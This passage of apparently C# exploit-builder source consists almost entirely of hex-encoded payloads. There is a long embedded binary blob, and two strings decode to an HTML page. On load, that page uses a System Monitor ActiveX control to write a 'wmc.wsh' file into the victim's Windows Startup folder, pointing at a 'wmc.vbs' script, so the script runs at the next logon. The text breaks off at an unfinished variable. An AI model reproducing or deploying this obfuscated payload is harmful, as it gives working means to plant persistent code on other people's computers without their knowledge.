50B37A9E4F6EBA419EE65C5AFBB10C7412014D76335AAABCA6BB19AD555ECE72817AC1621C04782065452D9A7EE9CBD3BE8029BA7D628BCA756BD424F11EDE665EA9A2926C337588C58CCD00758242D595526A8557EF40EF4037A8CD1CC35E20DA4FF5D311F94CB0B320CB56590D9AAD9CE502EBABC9401C33681D014F94DD0606AC575D954A6BE4B0C5429F59292EF7D6ABDB180F55064611A10C1086088B409A043380E7A2ADBC8E4716121F198F91A6FC7DDEAEC6F7EC2AF0E3B00126EAF03F61499825A2197841931EDAE0F8ED86F05BE9FBC986C5D91E4E01ADD864B7E9F93CB917719E36B0D5A965F4ABB8E824029AEC66B555794D76335AAABD9CE550320C72500709C793557597949042D53926ADAA4480D9EF45665FA3900797859681BB8F43D64232543E9B0DE0893904393F23C92C489E09641B96B6217D826213E4EAD692DC818A103230DAAD9CE502A66A50070A356444D2EE4CA9E82AA85593A8506A3928E30D05AD404EA9963CD9C6AEB2A392D933A2DA1FF19A60CBB9CFD3783F0E4B6D67375625A89E46DD93113F329EEB2DC9231218DE76C6135786868009394781FB0A4C800DB34E5827FA0ACF1E76FA3947D069DF3950EDA507CA4BF6DCBFB2DD036984784F6F9785BB1A5103D12A55B2388E822029AEC66B555794D76335AAABD9CE6E14A00E21D5D3289D5FA31AB852F4B66BC8DCA36A3B57A31D7CF609B0CC6853BF8361987667851175E42D1C79A02E370636153AA47B3A388D1408BD3B516BC8BDDB43E990F356CE729401C55EA24EA085426655089CB146964BFFAB0A6B10B68DB5AF15916A70D1AD472610270C0649AFFA3FCFCA727B56B29AD716C0B3D4219C99961685BEE55E1D720024DF5E07EC293200C331B4C8885647DDC05FA7B5D05E8474183A093AF1C64353BDB6D62F68004B6EB3B25FD13F370CB17C251D0480535D8CD6AAAF29AEC66B5557B39CAA2E2547A540E87689E8DB5B53D60A0485922A2CB679555068A7BA6AA9ECBFE9A33B79E136BCF2DA1F0B326033BE2C22EA353630C80C47006BF45BF6C21C8785AD77B19BCEED0C3FDD63F034027CBCFB06DD56CE72A8BAC6E549401C3488174F6D6510C925B03D90D981F1E0A357BF97E5F58562C9A75D9664EA1AE61462C46C1E0476C125A8898069A21336536CCC87F4320053603B0A6FE5AC14EFDB0BA3DFC81F4AC855C3FB3E8D9809BC55046E04ACD8108EF275BA15C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012100000000089D0B0000283A00009D0B080000627800936B781FB0A4D0C064DCE2C4D87465E41E538BF8FCCEFE0FB73F7C266BDC3203D7A9C2D31F5C2F940F9805D8F7082CB1D0440535D8CD6AAAF29AEC66B5557B39CA500719605FEE108C9D86823B65502988F2551ADFB4488791F28FF384F84B66F1CB4D01B219AF36ED689323DFB4A57B2E81A0ECB30EE06916786C82D56CE728174A00E1CD418D4528FD4EA93A8027BECCC6D840846D364ECB2AF533C2E9303094DE7B509A00B64D21A135780E4AF2D811A385AD1AF2B442A6CD7947F9FDAF0A2AF0E2300126D0F03F614985A6840E8ED443CC6184F63B6059B6AF9B40104B239271653CD3F1F1A6DBC974D0DCE42B41F2024C6F1D0480535D8CD6AAAF29AEC66B5557B39CAF89401C2B4A024017FAC9004F4D5271634AD29B2CD587F861ABA02E04EBC364D696CC679B16341099565932F4C49BD209D7BF7BC014C779B4192448567FE6BBB3B95CE592B61F0B518964C8A36B074C0AD9CE6A5C5A9401C3C762F885AAB13D2A76A08AB53BB8D5882EF289ED85667AD6289A34DA9AFB16E283431B7B3656E3CDE41A0D858C102C594181A0E716E2C94890643E188BF353DF49A6DA03157867D8009398781DB0A4C811C4AF51A192D0DDF264FEED0F894A1DB1C0820D81465E4DB22B684C7D3C91DCD312AD63D2016D327B28EBF6C9C48E822029AEC66B555794D76335AAABD9CE54049401C2549401C289F4EC6D042754014CFD976AA5F5B2F92A3BE14965867AF64DED1158BCD850422F1A2E68F9189FCBD98EA2AB82389ADCAA9FBF84181DDF7DACD03AB6739B8952803869950941083A476A36DDA648AC7B324EA779EB5954C84853AAABA17C8545B42F55452999CDE0F5B799166BEC120F900AC08716C08C15963CDE0F2BC31540049B93C0FD8526619BF8A103FC6E21614F57E81A746D90606CC6F2DE03793B70ADC3149C879864D30312E7B36ED8B29F3B1D0440535D8CD6AAAF29AEC66B5557B39CAECCD28038A7A037285D26DABD45FBEBC8DA89F16CD74D9939B836BBE793AFF97E178E064AAF4E35AB6AE0F1B587F60FA2D9D5FAC3EB5EA8B410EC99D65052B6562B67394085F4A00E27B5928E63989A58AB18D66D1448436052351A165456A6C8FF3302CF6D5F8C10294AF5888EDC0F0016FD6225DF0CDF327698617758F76AF0CBF00126FAF03F61499AF626E050375EAE91940EE73E7BBE92816288336DC392E3BC9DC973C9797F207367B86BDA168F72B396D018E822029AEC66B555794D76335AAABD9CE6279280387DA05FC7A835189B4F936CB2A09DBEBBA052694A762C465FD9E45B5403BAD6D826B56B21A467E42D768D1768B9656EF1144BB62377C7781DB25F9B4D5B39CAE074A00E13F4F741D1796FE3840F1DA0406AF2B15B67A7757A2D649004D42D16CB7FF8145B89F26C8ACB5C58C9A59129275E19B6872B5A2E29F273B0517F49A48D95E1D3A0024DE1E07EC293300DFEDC1B61DC07B86A42D84B5DD2F3ECBA79F40947DA209136B7790E5B43130E9DB6D11B63F14265B25E3A0900A6BB19AD555E535D8CD6AAAF673943C91F9AE5481510905A9B8CBC43EBB65AB1D2D5A68217DE9D05EFE77EAEFB68326B14D34AD303CE5EFCEDB4B4FC859B2D40660B6783339652693BF9F5DBF2779CB5F24F6C2A4C6FC0FE6797C09D02EAD9CE6A5C4A00E1FC41AD651A16C8F1CB22ADC3F4CBC802C4C779BA27CFB3CD6ACB0DE659058D8CA27AAFF8B5BB5502C9CB1900646CD6D927CBF9776CE1CFCA5F794B48018CA6DABD99931784079B1C9FAD1E775786458009369781FB0A4EC269170A8C29FFF2F45A6CF923D8347885879837B68A7BC96F548FE1E957B5E3B90AF201A3FCDB434C7411014D76335AAABCA6BB19AD555ECE729401C5A28153249FA3BBAA597DEA6402AF64B6A65B6C15705193BE49E1DB343CE127EDB38A85A86A16514CF7F06172B24A4B21782C75519E815B2327836563D0C4763AB67398F047582500712127F515341B402FDB7B205EC5C5C71EB2B4B57C5ACD750CD0866F755328E2FE2158C1E78C8EF092340DFFFD4DF6CD831F4BE402EA092632BC318C0049B0BC0FD85266B1BD2C28CACA2C8ED868473D541603FE351546993B5098C1E396D99FF71D2D392E3BF00B88518DA3A0880A6BB19AD555E535D8CD6AAAF67394A00E25A5452AE40BD4A149F6E1BB296A033DBE98BD696A3B03A642516CA2CA22DF8165A4237B5E1F5BFFBDF752F54CA5F91D525560F1329C83DF76759B455B39CA50071A3A1B4122A76B14936ACAEA596413BEF36D451ABD6C3626D5420C33B54D0B759173799CB0EE7B7DF4C470A99D6584FD642F6A7ED22C514E7B26025AE8DE615CB6739ACA9280389824810505D4C9FA3DA1F4570ADAB9AC778AFFF14A6BDB3C8B61853513349DD484DA19EBE335E592A072DB30CCC91C5B395319E59ACB6C45FC1E65761AA5E33A640CA509759819AAB51FE6A4A7E17AB6C9B048C29AA48E6D461C45FF40F8A561BD31B2368DF2B80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012200000000089D0B00009C3B00009D0B18000068E8009339781FB0A44C00A8BE2AD93BD9D86430F17627B25842ED4ADE61FA0E5F3325D6678F603EC06FB0AEC7412014D76335AAABCA6BB19AD555ECE728164A00E1950810A3F68210DA7BD19D5CD319788564E7E8D0B13FB1E73C7F193D6D9A1CC0DE8B463501CD5AEB265ADC7A02516248EAA6419DE5922D0B232E8439946C6C19B09912AD9CE52803884AE518EEC8B717441757D78BA5494A03A8C5D6D86AC952F37AEC85E651CA1558196E6B38A339FE083C9D538DAD06DF0964F7F941E7E6D997529AC58CC8FE10B7DE0639089495E1BAA00514E9398781FB0A4FF000D11C136BB98E281D40E2544365C786C7A06777C0D5653C814FF90362F4D4A425C079A443D86A8A66723FB50A98E836029AEC66B555794D76335AAABD9CE6B2F04250070E31052803853D771523307E088084160B8316082244115A20F8DD831A31550A041041F1062C5E2082084C3E29841B414C3305C104586C3745308208FD020D4420711C4D5B39CA500717AA70829A12DB9441BE0A610421410410428C404540DC4082082105823E281C20D4085DE082188AA20C51D052D041511B4105444108888D109C20829A082082082085724C9118DE302BC34240049ACBC0FD8527601D9027536A1396ECD86DF0C92DA8D8B4C0D5A4D2DC43D4BDEBD854A82FC9630C71C1847B58C23A0880A6BB19AD555E535D8CD6AAAF67394A00E1C3FA7951C2A116A7A20413628D74A9A063E7A8514D795EFCED9C94A01258F00983E923C5B0BAC51E499DDA0030113723F2BD78C108DF42D6C1AD0A16598B6B7E702FAB67394A00E2F04E20495734550BBF237530B2624B61B31F15495B7D6406FCED8668EEC6507A1453777D04317B2685FDBA25267C2BC5B79945F86F181A765F08E61133C1FA3679913ABC32DC0049BDBC0FD8527601DCE34DA5A786FB726CA6C3247E44D57E97832ACD0B5AB3F8A40E40A80B85419FB790D91EE265963E48D0E822029AEC66B555794D76335AAABD9CE528038975401ABF2FD646AA2BD78D21AA3702626D04050A776672FCB24B11BA6AC55583BC69FD64E16814E68CBED14ECAC8B677FB3A71B335999E5AD68D4DD6830E6BAB67394A00E2AB5D0BD4F9026848100AA8B096BDF824E84288E2D4D4FAF2C4FAEFD0D819AE963CAFD6A2DBDB0263D099F4EAC177B6F2C7F5D6EBBA622B1DE178AD32578619800934B781FB0A448114E9F94E93436DFA4C05FB641C030C348670B9721ADA5E3F0BC84E54F8797C01731AE0691D0440535D8CD6AAAF29AEC66B5557B39CA500712EDC5627AB041B512891DA114FF6A5ED5E42CBC9A01E85FFA9AB1AF04D9338C90D58FA51A75E4C24CC9F8CC2D42C81E779662264D81E48E2B4E5A19BE85C1F7C90CD56CE729401C72E80238D428D4C26A6089757560D9018728C134CB32D9DF8DE519B34566D88A68D396E276FA6E3E40B210BC42AC96D6BEA5E472D363EB62BC30DC0049A8BC0FD852286896FE058D404649CE5F72480126901B29EFF2DD1B2171518B970DF83B64E161778538E787E3A0880A6BB19AD555E535D8CD6AAAF67394A00E291402E0408E2525F676405FE89A589FDEF21214E3D63282017964A1F41F10A35E3A929293A9A6067306DEFBED88EFA2B46E2F66B77C6624366843156EAB67394A00E2CAA3534EF504F4A12B56081BE84AA6087EB17DBDB3B85311ED6B5B28332D9EFA2D6423514944FE96F895E7A4853420B62DE8991DD5907EF9385CED925786FA8009362781FB0A44C13534584D05AF433E496769AAB634110B1C4AF54CB7277A47EF7149ED9932B32F6D6AB00D8B0BE23A0900A6BB19AD555E535D8CD6AAAF67395F6A75D052803864E293E4F45F4FE85C8AA28F16A2FA151A6A7F8D2A86234740689CCA714DBF25AF06AF0CB14D015B23A207259B08662CE3545042DF7BE214C4C4D9E0B461DDAA6FFDA1FAB6739501A5007100C73E0BA912988DA82FE0F225ABE2CB65EF3DED4C10C53E4917E5292C821B1F2C81BD1451EC90BBED3607B5493ECB4FF0E59F5BE9C9156A59B92BD0AC33539ECD1EDF3783EECCDF8195E19420024DF9E07EC293B0888CF1B4AED9DBCCFC975D33678E409DBB23310888E2D43BE55BEEC2C87059EA6B3D68F3613370A994A1D8E822029AEC66B555794D76335AAABD9CE528038D1B63C57ED009AC5EA74A753533FA9A894EFD07A1208C0448AECC16359380807199BE8552589924CB5984021BEF083FDD539B65551FEB361B19EAAD9D902B67394A00E348475B41570A82B56DAD7A85A115BE298B54A5946C44FFFC0D02376581F1EE90B790A1E2D324CAA6145E9B5AB0CDBC4D0758990C2CF27276AAD9B6FD95D283DF6FFD342D77777CCF7DE411E2B67395F13C49401C26D1D6574944B846E96A9623ABA81557CD342EBCEDAB7A11A14284F10B91498A4B16235A2D6B6FA6267E87A28FD14362F6537B745F7DB2064466AE00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090080033B1E5CF1189F400A0C90349CB9E000000000000000B3206305BC9F44391D3DE3DB933D54080969800000000000100000011000000000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100000000000100"; string htmld1 = "3C48544D4C3E3C424F4459206F6E6C6F61643D626C6F616428293E0D0A3C4F424A4543542049443D736D2057494454483D31204845494748543D3120434C41535349443D434C5349443A43344432443845302D443144442D313143452D393430462D3030383032393030343334373E0D0A3C504152414D204E414D453D2247726170685469746C65222056414C55453D220D0A5B53637269707446696C655D0D0A506174683D"; string htmld2 = "5C776D632E7662730D0A78222F3E0D0A3C504152414D204E414D453D2244617461536F7572636554797065222056414C55453D2231222F3E0D0A3C504152414D204E414D453D22436F756E746572436F756E74222056414C55453D2231222F3E0D0A3C504152414D204E414D453D22436F756E74657230303030312E50617468222056414C55453D225C50726F636573736F722830295C252050726F636573736F722054696D65222F3E0D0A3C504152414D204E414D453D22436F756E74657230303030312E53686F77222056414C55453D2231222F3E0D0A3C504152414D204E414D453D22436F756E74657230303030312E53656C6563746564222056414C55453D2231222F3E0D0A3C504152414D204E414D453D22436F756E74657230303030312E537461746973746963537461747573222056414C55453D2230222F3E0D0A3C504152414D204E414D453D22436F756E74657230303030312E44617461222056414C55453D2232312E393939350931352E37353934360932352E31313935320931322E36333934340931382E383739343809362E333939340932302E34333934390933382E3835333837393339363938343909322E313130393236323934383230373109392E35313934320931322E363339343409372E393539343109362E333939340931342E313939343509392E3531393432092D31222F3E0D0A3C504152414D204E414D453D2253656C65637465643A202573222056414C55453D225C50726F636573736F722830295C252050726F636573736F722054696D65222F3E0D0A3C2F4F424A4543543E0D0A3C6F626A6563742069643D7720636C61737369643D636C7369643A38383536463936312D333430412D313144302D413936422D3030433034464437303541322077696474683D31206865696768743D313E0D0A3C706172616D206E616D653D4C6F636174696F6E2076616C75653D7368656C6C3A706572736F6E616C3E3C2F6F626A6563743E0D0A3C7363726970743E0D0A66756E6374696F6E20626C6F61642829207B20747279207B20646F63203D20772E4C6F636174696F6E55524C2E746F537472696E6728292E746F4C6F7765724361736528293B207D20636174636828657229207B20207D0D0A7578203D202775736572732F273B206463203D20272F646F63756D656E7473273B20757831203D20646F632E696E6465784F66287578293B20757832203D20646F632E696E6465784F66286463293B20753D646F632E737562737472696E6728757831202B2075782E6C656E6774682C757832293B2075203D20756E6573636170652875293B20696620287520213D20272729207B200D0A747279207B20736D2E5361766541732827433A2F75736572732F27202B2075202B20272F417070446174612F526F616D696E672F4D6963726F736F66742F57696E646F77732F5374617274204D656E752F50726F6772616D732F537461727475702F776D632E777368272C31293B207D20636174636828657229207B207D20207D20207D0D0A3C2F7363726970743E3C2F424F44593E3C2F48544D4C3E"; string pngd = 